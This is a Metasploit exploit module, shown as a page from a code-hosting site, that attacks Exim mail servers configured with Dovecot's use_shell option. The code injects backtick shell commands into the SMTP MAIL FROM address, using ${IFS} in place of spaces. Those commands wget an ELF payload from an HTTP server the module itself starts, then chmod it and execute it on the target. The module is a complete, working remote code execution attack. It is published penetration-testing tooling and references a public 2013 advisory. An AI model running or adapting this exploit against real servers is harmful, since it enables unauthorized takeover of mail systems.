Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/smtp/exim4_dovecot_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Smtp9include Msf::Exploit::Remote::HttpServer10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper121314def initialize(info = {})15super(update_info(info,16'Name' => 'Exim and Dovecot Insecure Configuration Command Injection',17'Description' => %q{18This module exploits a command injection vulnerability against Dovecot with19Exim using the "use_shell" option. It uses the sender's address to inject arbitrary20commands, since this is one of the user-controlled variables. It has been21successfully tested on Debian Squeeze using the default Exim4 with the dovecot-common22packages.23},24'Author' =>25[26'Unknown', # From redteam-pentesting # Vulnerability Discovery and PoC27'eKKiM', # PoC28'juan vazquez' # Metasploit module29],30'License' => MSF_LICENSE,31'References' =>32[33[ 'OSVDB', '93004' ],34[ 'EDB', '25297' ],35[ 'URL', 'https://www.redteam-pentesting.de/advisories/rt-sa-2013-001' ]36],37'Privileged' => false,38'Arch' => ARCH_X86,39'Platform' => 'linux',40'Payload' =>41{42'DisableNops' => true43},44'Targets' =>45[46[ 'Linux x86', { }],47],48'DisclosureDate' => '2013-05-03',49'DefaultTarget' => 0))5051register_options(52[53OptString.new('EHLO', [ true, 'TO address of the e-mail', 'debian.localdomain']),54OptString.new('MAILTO', [ true, 'TO address of the e-mail', '[email protected]']),55OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),56OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),57OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 80 ]),58OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])59])6061register_advanced_options(62[63OptBool.new("SkipVersionCheck", [false, "Specify this to skip the version check", false])64])6566deregister_options('MAILFROM')67end6869# wait for the data to be sent70def wait_linux_payload71print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")7273waited = 074while (not @elf_sent)75select(nil, nil, nil, 1)76waited += 177if (waited > datastore['HTTP_DELAY'])78fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")79end80end81end8283# Handle incoming requests from the server84def on_request_uri(cli, request)85if (not @pl)86print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")87return88end89print_status("#{rhost}:#{rport} - Sending the payload to the server...")90@elf_sent = true91send_response(cli, @pl)92end9394def exploit9596@pl = generate_payload_exe97@elf_sent = false9899#100# start our web server to deploy the final payload101#102downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))103resource_uri = '/' + downfile104105if (datastore['DOWNHOST'])106service_url_payload = datastore['DOWNHOST'] + resource_uri107else108109# Needs to be on the port 80110if datastore['SRVPORT'].to_i != 80111fail_with(Failure::Unknown, 'The Web Server needs to live on SRVPORT=80')112end113114#we use SRVHOST as download IP for the coming wget command.115#SRVHOST needs a real IP address of our download host116if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")117srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)118else119srv_host = datastore['SRVHOST']120end121122service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri123service_url_payload = srv_host + resource_uri124print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")125start_service({'Uri' => {126'Proc' => Proc.new { |cli, req|127on_request_uri(cli, req)128},129'Path' => resource_uri130},131'ssl' => false # do not use SSL132})133134end135136137connect138139print_status("#{rhost}:#{rport} - Server: #{self.banner.to_s.strip}")140if not datastore['SkipVersionCheck'] and self.banner.to_s !~ /Exim /141disconnect142fail_with(Failure::NoTarget, "#{rhost}:#{rport} - The target server is not running Exim!")143end144145ehlo = datastore['EHLO']146ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")147ehlo_resp.each_line do |line|148print_status("#{rhost}:#{rport} - EHLO: #{line.strip}")149end150151#152# Initiate the message153#154filename = rand_text_alpha_lower(8)155from = rand_text_alpha(3)156from << "`/usr/bin/wget${IFS}#{service_url_payload}${IFS}-O${IFS}/tmp/#{filename}`"157from << "`chmod${IFS}+x${IFS}/tmp/#{filename}`"158from << "`/tmp/#{filename}`"159from << "@#{ehlo}"160to = datastore['MAILTO']161162resp = raw_send_recv("MAIL FROM: #{from}\r\n")163resp ||= 'no response'164msg = "MAIL: #{resp.strip}"165if not resp or resp[0,3] != '250'166fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")167else168print_status("#{rhost}:#{rport} - #{msg}")169end170171resp = raw_send_recv("RCPT TO: #{to}\r\n")172resp ||= 'no response'173msg = "RCPT: #{resp.strip}"174if not resp or resp[0,3] != '250'175fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")176else177print_status("#{rhost}:#{rport} - #{msg}")178end179180resp = raw_send_recv("DATA\r\n")181resp ||= 'no response'182msg = "DATA: #{resp.strip}"183if not resp or resp[0,3] != '354'184fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")185else186print_status("#{rhost}:#{rport} - #{msg}")187end188189message = "Subject: test\r\n"190message << "\r\n"191message << ".\r\n"192193resp = raw_send_recv(message)194msg = "DELIVER: #{resp.strip}"195if not resp or resp[0,3] != '250'196fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{msg}")197else198print_status("#{rhost}:#{rport} - #{msg}")199end200disconnect201202# wait for payload download203if (datastore['DOWNHOST'])204print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the target to download the payload")205select(nil, nil, nil, datastore['HTTP_DELAY'])206else207wait_linux_payload208end209register_file_for_cleanup("/tmp/#{filename}")210211end212end213214215